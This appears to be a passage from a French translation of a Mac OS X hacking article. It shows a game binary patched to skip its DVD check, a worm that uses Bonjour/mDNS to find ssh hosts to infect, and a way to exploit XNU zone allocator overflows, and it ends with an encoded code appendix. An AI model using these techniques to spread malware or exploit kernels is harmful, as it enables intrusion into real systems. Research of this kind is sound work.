-[nemo@fry:/Applications/Prey/Prey.app/Contents/MacOS]$ cp Prey.i386 Prey J'ai ensuite chargé le fichier dans HTE. J'ai appuyé sur F6 pour sélectionner le mode et choisi l'option Mach-O/header. Je suis descendu pour trouver la section __mod_init_func. La voici : **** section 3 **** section name __mod_init_func segment name __DATA virtual address 00515cec virtual size 00000380 file offset 00514cec alignment 00000002 relocation file offset 00000000 number of relocation entries 00000000 flags 00000009 reserved1 00000000 reserved2 00000000 Pour éviter le premier constructeur, j'ai simplement ajouté 4 octets au champ d'adresse virtuelle, et en ai soustrait 4 de la taille. Je l'ai fait en appuyant sur F4 dans HTE et en tapant les valeurs. Voici ces nouvelles valeurs : **** section 3 **** section name __mod_init_func segment name __DATA virtual address 00515cf0 <== += 4 virtual size 0000037c <== -= 4 file offset 00514cec alignment 00000002 relocation file offset 00000000 number of relocation entries 00000000 flags 00000009 reserved1 00000000 reserved2 00000000 J'ai ensuite sauvegardé ce nouveau binaire et l'ai exécuté, encore une fois, le binaire a démarré gentiment sans mentionner le DVD manquant. Finalement, j'ai refait la même chose pour le binaire PowerPC et j'ai packé les deux ensembles dans un binaire universel en utilisant la commande lipo. --[ 9 - Propagation passive de malware avec mDNS Je suis sûr que vous êtes tous au courant, la seule raison du manque de malwares sous Mac OS X est sa faible part de marché (et donc, le manque de personnes attentionnées). Dans cette section, je propose une manière d'y remédier. Cette méthode utilise l'un des services par défaut qui est fournis avec Mac OS X 10.4 au moment de la rédaction : mDNSResponder. Le service mDNSresponder est une implémentation du protocole multicast DNS. Ce protocole est documenté à travers quelques documents listés dans [17]. De plus, si vous êtes intéressés par le protocole, il serait judicieux de lire la RFC [18]. Au niveau des paquets, le protocole multicast DNS est très similaire au DNS normal. Il sert le même problème (quoi que différent) : mDNS est utilisé pour créer un moyen pour que les hôtes d'un LAN configurent automatiquement leur configuration réseau et commencent à communiquer sans utiliser un serveur DHCP sur le réseau. il est aussi conçu pour rendre les services sur le réseau navigable. Récemment, l'implémentation de mDNS a été disponible pour une grande variété de systèmes d'exploitation, dont Mac OS X, Vista, Linux et une variété de périphérique matériels tel que des imprimantes. L'implémentation de mDNS fournie dans Mac OX X est appelée "Bonjour". Bonjour contient une API utile pour enregistrer et naviguer dans les services publiés par mDNS. Le démon mDNSResponder est responsable de toutes les communications réseaux via un port nommé "com.apple.mDNSResponder" qui est rendu disponible au système pour les communications avec le démon. La documentation de l'API pour manipuler le démon est disponible en [19]. L'outil en ligne de commande /usr/bin/mdns existe pour manipuler le démon mDNSResponder directement [20]. Cet outil a les fonctionnalités suivantes : -[nemo@fry:~]$ mdns mdns -E (Enumerate recommended registration domains) mdns -F (Enumerate recommended browsing domains) mdns -B (Browse for services instances) mdns -L (Look up a service instance) mdns -R [...] (Register a service) mdns -A (Test Adding/Updating/Deleting a record) mdns -U (Test updating a TXT record) mdns -N (Test adding a large NULL record) mdns -T (Test creating a large TXT record) mdns -M (Test creating a registration with multiple TXT records) mdns -I (Test registering and then immediately updating TXT record) Voici un exemple montrant son utilisation pour chercher des instances de ssh : -[nemo@fry:~]$ mdns -B _ssh._tcp. Browsing for _ssh._tcp.local Talking to DNS SD Daemon at Mach port 3843 Timestamp A/R Flags Domain Service Type Instance Name 11:16:45.816 Add 1 local. _ssh._tcp. fry Comme vous pouvez le voir, cette fonctionnalité serait très utile pour un malware installé sur un nouvel hôte. Une fois qu'un vers a compromis un nouvel hôte, il doit ensuite scanner des nouvelles cibles à attaquer. Ce scan est une des manières les plus habituelle pour détecter un vers sur un réseau. Dans le cas de Mac OS X, où une grosse quantité de scan seraient requis pour trouver une seule cible, ça serait sûrement le cas. Nous pouvons utiliser l'API Bonjour pour attendre silencieusement qu'un service se fasse connaître de notre code, et ensuite d'infecter l'hôte. Ça réduira énormément le trafic réseau nécessaire à la propagation du ver. Le fichier d'en-têtes qui contiennent les définitions des structures et fonctions nécessaires est /usr/include/dns_sd.h. Les fonctions nécessaires sont contenues dans libSystem et sont donc liées avec à peu près tous les binaires du système. C'est une bonne nouvelle si vous venez d'infecter un nouveau processus et voulez faire une recherche mDNS à partir de son espace d'adressage. L'API de Bonjour nous permet d'enregistrer un service, énumérer les domaines ainsi que plein d'autres choses utiles. Cependant, je ne me concentrerai que sur la recherche d'une instance d'un type de service particulier dans ce papier. C'est un processus assez intuitif. La première fonction nécessaire pour trouver une instance d'un service est la fonction DNSServiceBrowse() (montrée ci-après). DNSServiceErrorType DNSServiceBrowse ( DNSServiceRef *sdRef, DNSServiceFlags flags, uint32_t interfaceIndex, const char *regtype, const char *domain, /* may be NULL */ DNSServiceBrowseReply callBack, void *context /* may be NULL */ ); Ses arguments sont assez auto-explicatifs. Nous passons simplement un pointeur DNSServiceRef non initialisé, suivi d'un drapeau non utilisé. interfaceIndex spécifie l'interface sur laquelle faire la requête. Si on met 0, cette requête sera broadcastée sur toutes les interfaces. Le champ regtype est utilisé pour spécifier le type de service que nous voulons trouver. Dans notre exemple, nous chercherons ssh. On utilisera donc la chaîne "_ssh._tcp" pour spécifier ssh via tcp. Ensuite, l'argument domain est utilisé pour spécifier le domaine logique que nous voulons parcourir. Si cet argument vaut NULL, les domaines par défaut sont utilisés. Enfin, un callback doit être fournis pour indiquer quoi faire quand une instance est trouvée. Cette fonction peut inclure notre code d'infection/propagation. Une fois que l'appel à DNSServiceBrowse() est fait, la fonction DNSServiceProcessResult() doit être utilisée pour commencer le processus. Cette fonction prend simplement le sdRef, initialisé depuis le premier appel à DNSServiceBrowse(), et appel la fonction callback quand un résultat est reçu. Cette fonction est bloquante jusqu'à ce qu'elle ait trouvé une instance. Une fois qu'un service est trouvé, il doit être résolu en adresse IP et en port pour pouvoir être infecté. Pour le faire, la fonction DNSServiceResolve() peut être utilisée. Cette fonction est très similaire à DNSServiceBrowse(), cependant, un callback à DNSServiceResolveReply() est utilisé. En plus, le nom du service doit déjà être connu. Le prototype de la fonction est le suivant : DNSServiceErrorType DNSServiceResolve ( DNSServiceRef *sdRef, DNSServiceFlags flags, uint32_t interfaceIndex, const char *name, const char *regtype, const char *domain, DNSServiceResolveReply callBack, void *context /* may be NULL */ ); Le callback de cette fonction reçoit les arguments suivants : DNSServiceResolveReply resolve_target( DNSServiceRef sdRef, DNSServiceFlags flags, uint32_t interfaceIndex, DNSServiceErrorType errorCode, const char *fullname, const char *hosttarget, uint16_t port, uint16_t txtLen, const char *txtRecord, void *context ); Une fois encore, nous devons appeler la fonction DNSServiceProcessResult(), en lui passant le sdRef reçu de DNSServiceResolve pour commencer les choses. Une fois dans le callback, le port sur lequel tourne le service est passé via un short [NDT : entier sur 2 octets]. Retrouver l'adresse IP est simplement une histoire d'appeler gethostbyname() sur le paramètre histtarget. J'ai inclus un bout de code dans l'annexe (discover.c) qui montre tout ça clairement. Ce code peut être inclus dans un boucle pour lister les services et les infecter. Opensshd warez non fourni. ;-) --[ 10 - Exploitation de Kernel Zone Allocator Un "zone allocator" est un gestionnaire de mémoire spécialement conçu pour allouer efficacement des zones mémoires de tailles identiques. Dans cette section, je vais regarder comment le zone allocator de mach (le zone allocator utilisé par le noyau XNU) fonctionne. Ensuite, je regarderai comment un débordement dans les pages utilisées par l'allocator peut être exploité. Le code source du zone allocator se trouve dans le fichier xnu/osfmk/kern/zalloc.c. Voici quelques uns des objets du noyau XNU qui utilisent le zone allocator mach : la task struct, la thread struct, la pipe struct et la zone struct elle-même. Un liste des zones courantes du système peut être retrouvée à partir du mode utilisateur en utilisant la fonction host__zone_info(). Mac OS X est fourni avec un outil qui utilise cette fonctionnalité : /usr/bin/zprint Cet outil affiche chacune des zones et leur taille des éléments, la taille courante, la taille maximale, ... Voici un exemple de sortie en lançant ce programme. elem cur max cur max cur alloc alloc zone name size size size #elts #elts inuse size count --------------------------------------------------------------------------- zones 80 11K 12K 152 153 95 4K 51 vm.objects 136 3609K 3888K 27180 29274 21116 4K 30 C vm.object.hash.entries 20 374K 512K 19176 26214 17674 4K 204 C ... tasks 432 59K 432K 141 1024 113 20K 47 C threads 868 329K 2172K 389 2562 295 56K 66 C ... uthreads 296 114K 740K 396 2560 296 16K 55 C alarms 44 3K 4K 93 93 2 4K 93 C load_file_server 36 56K 492K 1605 13994 1605 4K 113 mbuf 256 0K 1024K 0 4096 0 4K 16 C socket 344 38K 1024K 114 3048 75 20K 59 C Il vous fournis aussi une occasion de voir certains types d'objets qui utilisent le zone allocator. Avant que je montre comment exploiter un débordement dans ces zones, nous allons d'abord regarder comment le zone allocator fonctionne. Quand le noyau veut commencer à allouer des objets dans une zone, il commence par appeler la fonction zinit(). Cette fonction est utilisée pour allouer les zones qui contiendront les membres de ce type d'objet spécifique. Les informations sur cette nouvelle zone doivent être stockées quelque part. Pour ça, on utilise la "struct zone". Voici la définition de cette structure : struct zone { int count; /* Number of elements used now */ vm_offset_t free_elements; decl_mutex_data(,lock) /* generic lock */ vm_size_t cur_size; /* current memory utilization */ vm_size_t max_size; /* how large can this zone grow */ vm_size_t elem_size; /* size of an element */ vm_size_t alloc_size; /* size used for more memory */ unsigned int /* boolean_t */ exhaustible :1, /* (F) merely return if empty? */ /* boolean_t */ collectable :1, /* (F) garbage collect empty pages */ /* boolean_t */ expandable :1, /* (T) expand zone (with message)? */ /* boolean_t */ allows_foreign :1,/* (F) allow non-zalloc space */ /* boolean_t */ doing_alloc :1, /* is zone expanding now? */ /* boolean_t */ waiting :1, /* is thread waiting for expansion? */ /* boolean_t */ async_pending :1, /* asynchronous allocation pending? */ /* boolean_t */ doing_gc :1; /* garbage collect in progress? */ struct zone * next_zone; /* Link for all-zones list */ call_entry_data_t call_async_alloc; /* callout for asynchronous alloc */ const char *zone_name; /* a name for the zone */ #if ZONE_DEBUG queue_head_t active_zones; /* active elements */ #endif /* ZONE_DEBUG */ }; La première chose que fait la fonction zinit() est de vérifier s'il y a une zone existante dans laquelle stocker la nouvelle zone struct. Le pointeur global "zone_zone" est utilisée pour ça. Si le zone allocator mach n'a pas encore été utilisé, la fonction zget_space() est utilisée pour allouer plus de place pour les zones de zone struct (zone_zone). Voici le code qui effectue cette tâche : if (zone_zone == ZONE_NULL) { if (zget_space(sizeof(struct zone), (vm_offset_t *)&z) != KERN_SUCCESS) return(ZONE_NULL); } else z = (zone_t) zalloc(zone_zone); Si zone_zone existe, la fonction zalloc() est utilisée pour retrouver un élément dans la zone. Chacun des attributs de cette nouvelle zone est alors calculé : z->free_elements = 0; z->cur_size = 0; z->max_size = max; z->elem_size = size; z->alloc_size = alloc; z->zone_name = name; z->count = 0; z->doing_alloc = FALSE; z->doing_gc = FALSE; z->exhaustible = FALSE; z->collectable = TRUE; z->allows_foreign = FALSE; z->expandable = TRUE; z->waiting = FALSE; z->async_pending = FALSE; Comme vous pouvez le voir, la liste chaînée free_element est initialisée à 0. La fonction zone_init() retourne un pointeur zone_t qui est utilisé pour chaque allocation de nouveau objet via zalloc(). Avant de retourner, zinit utilise la fonction zalloc_async() pour allouer et libéré un élément dans la zone. Maintenant que la zone est installée, les fonctions zalloc() et zfree() sont utilisées pour allouer et libérer des éléments dans la zone. zget() est utilisé pour effectuer une allocation non-bloquante dans une zone. D'abord, je vais regarder la fonction zalloc(). zalloc() est en gros, un wrapper [NDT: fonction qui appelle une autre après avoir modifié légèrement les paramètres] au dessus de zalloc__canblock(). La première chose que zalloc_canblock() fasse est d'essayer de supprimer un élément de la liste de zones free_elements et de l'utiliser. La macro suivante (REMOVE_FROM_ZONE) est responsable de ça. #define REMOVE_FROM_ZONE(zone, ret, type) \ MACRO_BEGIN \ (ret) = (type) (zone)->free_elements; \ if ((ret) != (type) 0) { \ if (!is_kernel_data_addr(((vm_offset_t *)(ret))[0])) { \ panic("A freed zone element has been modified.\n"); \ } \ (zone)->count++; \ (zone)->free_elements = *((vm_offset_t *)(ret)); \ } \ MACRO_END #else /* MACH_ASSERT */ Comme vous pouvez le voir, cette macro retourne simplement le pointeur vers la zone struct. Elle augmente aussi l'attribut count (le compteur) et change l'attribut free_elements vers la zone struct du "prochain" élément libre. Il le fait en déréférençant l'adresse de l'élément libre courant. Ça nous montre que les 4 premiers octets d'une allocation non utilisée dans une zone sont utilisés comme pointeur vers le prochain élément libre. Ça nous sera très utile plus tard. Le test is__kernel_data_addr() est utilisé pour être sûr que nous n'avons pas altéré la liste. La définition de ce test est la suivante : #define is_kernel_data_addr(a) \ (!(a) || ((a) >= vm_min_kernel_address && !((a) & 0x3))) const vm_offset_t vm_min_kernel_address = VM_MIN_KERNEL_ADDRESS; #define VM_MIN_KERNEL_ADDRESS ((vm_offset_t) 0x00001000) Comme vous pouvez le voir, il vérifie simplement que l'adresse n'est pas 0, plus grande ou égale à 0x1000 (qui n'est pas un problème du tout) et n'est pas alignée sur un mot mémoire. Ce test ne fait aucun problème quand on exploite un débordement comme on le verra plus tard. S'il n'y a pas d'éléments libres dans la zone, on vérifie l'attribut doing_alloc de la zone. Cet attribut est utilisé comme un verrou. Si une allocation bloquante est effectuée, l'allocator va dormir jusqu'à ce qu'elle soit remise à 0. Une fois que tout est bon pour allouer un élément, la fonction kernel_memory_allocate() est utilisée pour en allouer un. L'allocation est de taille fixe pour chaque zone. La fonction kernel_memory_allocate() est utilisée à la base de la plupart des allocateurs présents dans le noyau XNU. Il utilise en gros vm_page_alloc() pour allouer des pages. Une fois que le zone allocator récupère la main, il appel zcram() pour découper la page en éléments et les ajoutes à la liste free_elements. chaque élément est ajouté de la même manière que le fait zfree(). Maintenant que j'ai regardé au processus d'allocation, je vais montrer le fonctionnement de zfree(). La fonction zfree() est utilisée pour rapatrier un élément dans la liste free_elements de la zone. La première chose que fasse zfree() est de s'assurer que l'élément en cours de libération a bien été alloué via zalloc(). C'est fait en utilisant la macro from_zone_map() suivante : #define from_zone_map(addr, size) \ ((vm_offset_t)(addr) >= zone_map_min_address && \ ((vm_offset_t)(addr) + size -1) < zone_map_max_address) Dans le cas d'un débordement, cette vérification n'est pas particulièrement importante, je continue donc avec la suite. Ensuite, zfree() (si le debuggage de zone est activé) va continuer et vérifier que l'élément ne vient d'une zone différente à celle passée en paramètre. Si c'est le cas, un kernel panic() est lancé, nous prévenant du problème. Ensuite, zfree() parcours entièrement la liste free_elements de la zone et appel pmap_kernel_va(). Voici le code qui le fait : for (this = zone->free_elements; this != 0; this = * (vm_offset_t *) this) if (!pmap_kernel_va(this) || this == elem) panic("zfree"); Voici le test pmap_kernel_va() : #define VM_MIN_KERNEL_ADDRESS ((vm_offset_t) 0x00001000) #define pmap_kernel_va(VA) \ (((VA) >= VM_MIN_KERNEL_ADDRESS) && ((VA) <= vm_last_addr)) pmap_kernel_va vérifie simplement que l'adresse est plus grande ou égale à VM_MIN_KERNEL_ADDRESS. Cette adresse est définie plus haut comme étant 0x1000, le début de la première page de mémoire noyau valide (juste après PAGEZERO). Il vérifie ensuite si l'adresse est plus petite ou égale à vm_last_addr. C'est défini par VM_MAX_KERNEL_ADDRESS (comme suit). vm_last_addr = VM_MAX_KERNEL_ADDRESS; /* Set the highest address #define VM_MAX_KERNEL_ADDRESS ((vm_offset_t) 0xFE7FFFFF) #define VM_MAX_KERNEL_ADDRESS ((vm_offset_t) 0xDFFFFFFF) En gros, ça signifie quasiment n'importe où dans l'espace d'adressage noyau. Une fois que ces tests sont effectués, la dernière chose que zfree() fait est d'utiliser la macro ADD_TO_ZONE() pour rapatrier l'élément dans la liste free_elements dans la zone struct. Voici la macro pour le faire : #define ADD_TO_ZONE(zone, element) \ MACRO_BEGIN \ if (zfree_clear) \ { unsigned int i; \ for (i=1; \ i < zone->elem_size/sizeof(vm_offset_t) - 1; \ i++) \ ((vm_offset_t *)(element))[i] = 0xdeadbeef; \ } \ ((vm_offset_t *)(element))[0] = (zone)->free_elements; \ (zone)->free_elements = (vm_offset_t) (element); \ (zone)->count--; \ MACRO_END Cette macro parcours la mémoire allouée pour l'élément en train d'être libéré par intervalles de 4 octets. Elle écrit 0xdeadbeef partout, en remplissant la mémoire, et nettoyant les données originales. Elle écrit ensuite les 4 premiers octets de l'allocation, le vieux pointeur de free_elements, de la zone struct. Maintenant que j'ai montré brièvement comment le zone allocator fonctionne, je vais regarder ce qui arrive en cas de débordement. Dans le schéma suivant, vous pouvez voir un élément utilisé suivi d'un élément libre. Le premier élément contient des données utilisées par la structure (dans cet exemple, la structure est maquillée). Le deuxième élément consiste en un pointeur vers l'élément libre suivi d'un entier long 0xdeadbeef répété pour remplir la structure. Les éléments utilisés et libres ont tous la même taille. mémoire basse (0x00000000) ----( Élément qui sera débordé )------ 00 00 00 01 22 22 22 22 33 33 33 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -----------( Élément libre )---------- [ ff fc 7c 7d ] <== Pointeur vers le prochain élément ef be ad de ef be ad de ef be ad de ef be ad de ef be ad de ef be ad de _____________________________________ mémoire haute (0xffffffff) Dans le cas d'un débordement d'un tableau dans la première structure (dans notre cas, avec un A majuscule [0x41]), il est possible d'écraser le pointeur "next" de l'élément libre qui suit. C'est montré ci-après : mémoire basse (0x00000000) ----( Élément qui sera débordé )------ 00 00 00 01 22 22 22 22 33 33 33 33 41 41 41 41 <== le débordement commence ici 41 41 41 41 41 41 41 41 41 41 41 41 -----------( Élément libre )---------- [ 41 41 41 41 ] <== il déborde jusqu'au pointeur ef be ad de ef be ad de ef be ad de ef be ad de ef be ad de ef be ad de _____________________________________ mémoire haute (0xffffffff) Dans ce cas, quand la macro REMOVE_FROM_ZONE() sera utilisée par zalloc(), l'adresse contrôlée par l'utilisateur 0x41414141 sera le nouveau pointeur de la liste free_elements, et donc, utilisée par la prochaine allocation de ce type d'élément. Si cette adresse est correctement positionnée, il serait possible d'avoir un écrasement contrôlé par l'utilisateur d'un pointeur utile dans l'espace noyau et donc d'acquérir le contrôle de l'exécution. À cause des vérifications effectuée par zfree(), il est recommandé de faire tout ce qu'on peut pour éviter que cet élément soit passé à zfree(). Puisque ça finirait par un kernel panic(). --[ 11 - Conclusion Heureusement, si vous vous êtes embêtés à lire jusqu'ici, vous avez du apprendre quelques trucs utiles. Sinon, je m'excuse. Si vous prolongez ces idées plus loin que je ne l'ai fait, ou si vous connaissez une meilleure méthode pour faire quoi que ce soit d'exposé dans ce papier, j'apprécierais que vous m'envoyiez un mail pour me le faire savoir à l'adresse suivante : nemo@felinemenace.org. Pour les insultes : mercy@felinemenace.org, merci ;) Maintenant, les remerciements. Un énorme merci à ma fiancée extraordinaire pif, pour son amour et son soutien pendant que j'écrivais tout ceci. Merci à bk pour toute son aide et les longues conversations sur XNU. Merci à tout le monde à felinemenace pour leur support, le code et les moments de fun. Un gros merci aussi à mon ordinateur de ne pas avoir kernel panic()é une troisième fois quand j'ai sauvegardé ce papier. Je pense que si il avait écrit des octets aléatoires dans ce papier une troisième fois, je n'aurais pas eu l'endurance de le réécrire (encore). Enfin, ce papier ne serait pas complet sans un autre mauvais jeu de mots Star Wars pour aller avec le titre, alors allons-y ... Que le fork() soit avec root... --[ 12 - Références [1] b-r00t's Smashing the Mac for Fun & Profit http://www.milw0rm.com/papers/44 [2] Mac OS X PPC Shellcode Tricks - http://www.uninformed.org/?v=1&a=1&t=pdf [3] Linux on-the-fly kernel patching without LKM http://www.phrack.org/archives/58/p58-0x07 [4] Mach-O Runtime http://developer.apple.com/documentation/DeveloperTools/ ... Conceptual/MachORuntime/MachORuntime.pdf [5] Understanding windows shellcode http://www.hick.org/code/skape/papers/win32-shellcode.pdf [6] Smashing The Kernel Stack For Fun And Profit http://www.phrack.org/archives/60/p60-0x06.txt http://arsouyes.org/info/phrack60/phrack60_0x06.txt [7] Ilja's blackhat talk - http://www.blackhat.com/presentations/bh-europe-05/ ... BH_EU_05-Klein_Sprundel.pdf [8] Mac OS X PPC Shellcode Tricks - http://www.uninformed.org/?v=1&a=1&t=txt [9] Smashing the Stack for Fun and Profit - http://www.phrack.org/archives/49/P49-14 http://arsouyes.org/info/phrack49/phrack49_0x0e%5BSlasH%5D.txt [10] Radical Environmentalists by Netric - http://packetstormsecurity.org/groups/netric/envpaper.pdf [11] Non eXecutable Stack Lovin on OSX86 - http://www.digitalmunition.com/NonExecutableLovin.txt [12] Mach-O Infection - http://felinemenace.org/~nemo/slides/mach-o_infection.ppt [13] Infecting Mach-O Fies http://vx.netlux.org/lib/vrg01.html [14] class-dump http://www.codethecode.com/Projects/class-dump/ [15] HTE - http://hte.sourceforge.net [16] Architecture Spanning Shellcode - http://www.phrack.org/archives/57/p57-0x17 [17] Multicast DNS - http://www.multicastdns.org/ [18] mDNS RFC - http://files.dns-sd.org/draft-cheshire-dnsext-nbp.txt [19] mDNS API - http://developer.apple.com/documentation/Networking/ Conceptual/dns_discovery_api/index.html [20] mdns command line utility - http://developer.apple.com/documentation/Darwin/ Reference/Manpages/man1/mDNS.1.html [21] KUNC Reference - http://developer.apple.com/documentation/DeviceDrivers/ Conceptual/WritingDeviceDriver/KernelUserNotification --[ 13 - Annexes - Code Extraire ce code avec uuencore. begin 644 code.tgz M'XL(`.KU$48``^P\;6P.M]+>[F$_J*-M`49I`R48`0;2/T51P$#R(S_[*S#J?JBQ M425M4+3Y5:`_ZP`LG+9!X19MD$9];S[V=N^.I.R6-)S<$,O=G7GOS9OW9MZ\ M-[-SNF/0B<3AI@RD:K>!"GI34^_ MMD9FB#JRVJE,KG9H<;53S*YV2AEXKZ]VRO">*:QV\MD1!&DT\'&UHT-Q0U_M M:'!5"OR]7&`@F3*\(@B`9@RX\!GR*%!KF5=6T M?=+23#N)#YJ>)HS;L3%M(Z6^JBJ68Z^3Y!CV<,]W4\D4M"`I,N$MA)[Q"D_.RJ M/9+&&JN33+3ZBWUT/7/QK]A>KJS0=U/9_SG"R4Q_HOY0BZ;Q_%?S@['_Y&D^QS_ MD;Q-;\+?;%,OGFW87LTSXGDV]0UN/9XR:,.T*5FN+KVP<+ZZ\M+E*AFI>3#C MU'R]/:*J\Y>6EZF[8>ITB7J.M0&WMK5)7/Y2`Q6M4S^I$DA1T`;Q#/B?)CTE MSUG:ND<:^%^4!3`"\[F:3^!.W8:FTP7;H)T^S*KK.NX*M(]0?#H/PT/`Z([M M^<*R-`++LK76H**FX_FETW-@(81IHL)BY"9E+12#)N7.,.8`R M$8K8OM/TDIB%)HD9QM/))@6S"9A(H[Z)K4]&R*6XR0PK!U/)!`CRCB.-0PV] M-C+.BMF6[`(R]6O`C98<2R9%:TV[IAD&B"C5I.>>;;*7%/)Y*]J-YESGIB=Z MD>'43+M!=3\),AO\Q'M-K,BEZSBB^K.!^7D' M)S8LBO4`E8D[WA:+-6:Z9[YYS@EL@XQ$1MX(-`6,GJV'NHA*7_")*L`_5(/D M+\I0I#FI@9T.IT8!A%.DV28:\(%]2M;*^I6J$)+L&_TD^;0E5",4T2]]!3!) M5*J#V!1@<3N2OG3EP@7HL##3WXCIL';)89HDK[T&@R[.V677T:GG`8.!Y2CB#.C5TWMT:AC%F6DR,4', M==L!)GKZR[*NV39RU``^8]U&L#9(;7RT)9^.ZRR3CAI\]AX.17C;3WJ@`:+N MIX`#Y4_N2P%U9%RV5G2F@2J(NV6'[Y<=56+^'_5TS=)\.JYYK4.HXP#_+UO( M%L+XKU3"^*^0RQ2'_M]1I.FGU.FGR#42[0)D3>79,M,C,(@V/#9(VJ:ASBVL M+)-\3EVNGE]96+Q$QMF4I)X17M[EA7F2G9S,JVH-3=:4JG0<5Z'U3AHN56DY M&PK5.NEKZ]Y4!L)%*3)F8NB9R?U^T"'68?4/0.-GZ/:("W&]%0DLN7 M9#GH0#&HKC!Y@GY\*5V%`Y@-A"$W-8]D5>6Z_8H2UJD:CDVG0+M8+");G>LOSN!QG\`4^?C&X?"]7%B\L/G^EJH#!CN:?OWA9@;Q<-._BX@N85^A.7V("\\PT7.#_ MVKK"'KRFQ7(KPNS",WK7T,Q,1IIO*+Y&O38SGF`)+4,0,\!D&=)>UTV?-$QJ MP>2"\U_-V:3GK`?TMM+V4*+;CUV2>,,U($Y@TUX"2GN>$-JEW>B!&/_<0Q<#T MQIQ^:+4:!9^*\EB4/#:I?H,[$S"1PBS9CE0$\TF$-3;)2M9HL3+90X!9>A`O MS'UMA5'I(0+,&E8ZV@,8A9N4-#6(,S4B09B`;24]#85_`K@'#P(:"N3'X>% M(>S'VBEA9!O78:ZU26#[IL4+QZ.MK5/$ZS()2F7=C'1]1AARA'L[,.9X/@PS M/>HGYCE%MJ[/6\_\H1C9D+]G7$J@63>D;)$,#E4^=G%2BH@)#((J",3%A`4] M'2+:+@J.Y76JH,.%-N0ZZ*]7H)>J5U>X1Q9S]X![81@TZ.A!FPUW13,,+A'/ M%`W!=4B""V#@_D:%Q"S4X`?/-Z2:<-0:IDN9$67C5Y@<\`!=\*NOMT(CU-LJ M$&D($S&(X0-CE9L^-[IYW`0)GP_% M"KQ8%!<7U0`Y[@*&3^#NM0/,`#_+]2,9?MV?\O%,O#^/](TO2Y0TGJ-(EW M*@(Y:'#!EFFAXP;FS:,&3@WHJ.!>:!J?;,)&H.F/`Q*H!TQ@VV$+P`3<<R MUVW`@FDE6V+^$%^88#A&P%:;+>V537"J;`/M.W9QH'1(#1V\%L(]1T+Z0U4^ MHY&]$EJ^.EJ^3#>:#2R)NB>:0+5Q/L"HUG-:%$07-!HDR9PUK9-2A>&$&!LN M,74R9T%GLVDFJXN8W?%,IAX,G]OHEJ-Z6IK>K.$""'7'^1(&?XFV4K@H1'B4 M>@==D-Q`5G$:97J[<+ZV_-+%E=DYD@385$CK.N7W!FY@U"P=^I*OU=7]Z\H> M7%?U^8O52RM867:?RNAZB]H^:RTW%])2(Q-=ZDJ;XFL:G)V+>3!![W[AN:CNK!B``08'ADL/^S!@.5 M\?X5%HUI?U_2;4,#D>($?-.$5NB!Z^+VHAB#79KHLW>%5G<`=B^:TM]FH.3" MPJ7?KLXOK+`MH5#_7;I2:.R-K3+M1?<&I>V8(R=)JSV:[`K9HAJ7!'-/A`:C MBTU=ZKAJ)RT/2)5Y&+)8ZBKT-QF='';"0KU`"Y,%79()N]\(?;M]*X^8Z1%)!5X'WFX!R M=?XJ6.2PU_(ETT]$:)81"BV>H-25S=0`+9AR415M=%\_9>PM\(5X*/#$-56UB+K&R_,XN*+9=HW@+8O?'W#C(0E:"0W M3-J`DZ#RX&B83;[/HPUL M(0R(!NPL\S94E7LA->Z:3$5--#H@U(L#U'A$`?&:G#,5:?KE6CA;F&;1$'-A M%)4M3]2XP<>OO60<$LK'0U/(F)1<(85PJ7)VFX M3DLV%P3!/U'KAF-=\JBB*'45OP$-?,HY)CS^1JTR&8I7F#O8M,#6L4@,I::M M,X]'Q(N$Q\G@K*5QX2JRFH%K",+A8RM^.'V/L\6&&#D8OB9H`VI17,E)IH.O MR#EGC''2-1#][/2P*&DBEQC.LDZ+6F7J9:(1SQ@6AI$[3!BAT/D&DA#]+'#B MF:]0IR&_36$Z347[5$]?$+LOD7T50;,2W5G!,6:QM38(5/GR5KC8IMFVLPE* MM39!?NXZ`.%(-S`RU^7RAK:)RF>.,A-TS(<>2!4G>O0;F0/)?.IQ&9&S@/M^ M^$#%#.*C879P">/_P`B+T.6J!8H1ORH"A:E\Q(8A>^_(515@28%N`VY7G=)& ME\#AQ0.?=D#W,1.+_\'/P6V\0]K^.?#[[W*A%.[_%,OX_6UP1_^SM:._M_[9^+]!7;N&GWA03Z^U0+3F_^N7X`>-_U(^ MW/]E'_YDLL5R:?C]]Y$D]AFAXW4JI7@'P&,>>/BBV%CM3&;X>8Q<981[X1,3 MA.W>>M3BFP?C")K'$QX`:E"X&UW0=EL'9XA:%O8UF-.):5W7R%TV$CT:*]Y,[#&(HAE<)HA:J/-3+Y7NP9C* M),LJ8%T@P6)9GFHY&OWC^/?89OQA3?\'CO^\G/]SI6P&GMGYK\QP_!]%VF=V MEQML;(=.ZXC/'=CNLQ[9HN-;IMVI#>9W2@W\5%OI+F:'>7R'+B2YYT-8P=D9 M4A#AFI@WU_A\F!S#XM,S6`7[TA.SP67/*CS#Q\0^3 M`#78/LEAG``[8/P7>+E*I(&3!<\M7*A>FKT(!?S;@);6 M;M$1<4+6"#2KQ@_)]GI/)?`\5/`4(&@)3".9P@?*GI@G4^EZ,O4R?R_%/9M" M(>+LY.(HV?*(I-+%ZD7A]:,[1CM4WZ#`@_15ZN?<3,9'$F6=^V(Y#9[!O2J@ MBY(3G_D9K!8\C%NJ<"8T\)CR==Y"/+M;SH2.&6+R+/Z>10H4C_J.A!4!E1P4 M:93S7I8@PO_*\!._K.X*?]?DNQZVN!(!84+1!)5Z*#?YH2*RS"K.0\5X8+D2 M4I%8Z/3%41A(#AY+@%T"=DN4OY?S7!#H+@K5,HUF4M-2S?#(*A#.7A'5*U1< MTGB#=4.XMR.#(+.#(;$Z<-I[-#D1.IU1,L@BLMMEF9&1V=%6L8\^\Z&;7"R( M*\\O9`BUK1N,"W!251%MUL2H=.DZQ`/@1[3;,`1K=AMG9K9U#"-:[`74<`]' M$2_3W6)<2ZV)_1T%7R)E?'V;E[+/?40.@`A+4NO=&6II'58PC1[Z&,%EB(F; MKNG3"11:`/?SBR].O/P<&9O8FPC&SY+*041N]1U%=]?UM#RHY:[SHUI8T#"F MP].;>TO.[MNN<7)\6=HD? MN_/<<;DK@VFF:PBG62'BR/;/A,1X643T["`9RY22Y@@O7*Q=7EIKL?.3UQ:6%%4$V%/,GH4#XF;1DPYAQVM1.2@N=7JPMS;^X]-IB M[3S@K:12,S/GLBE58:?"V#FPY`@B1$Y[5:\NK-2>FUVX<&6I*@]^P42CMS>3 M27X`,P623LMG(=9TCY3E*3G648"M-.HE+07)3JV%+W%V&,8!_`!A,=LFEU]: M[N\^-:8CNYV&BK/IISV7GW<2B1>!/NQ^"JP%6KX0+MR]6EQ0CBR<'TC@N\ 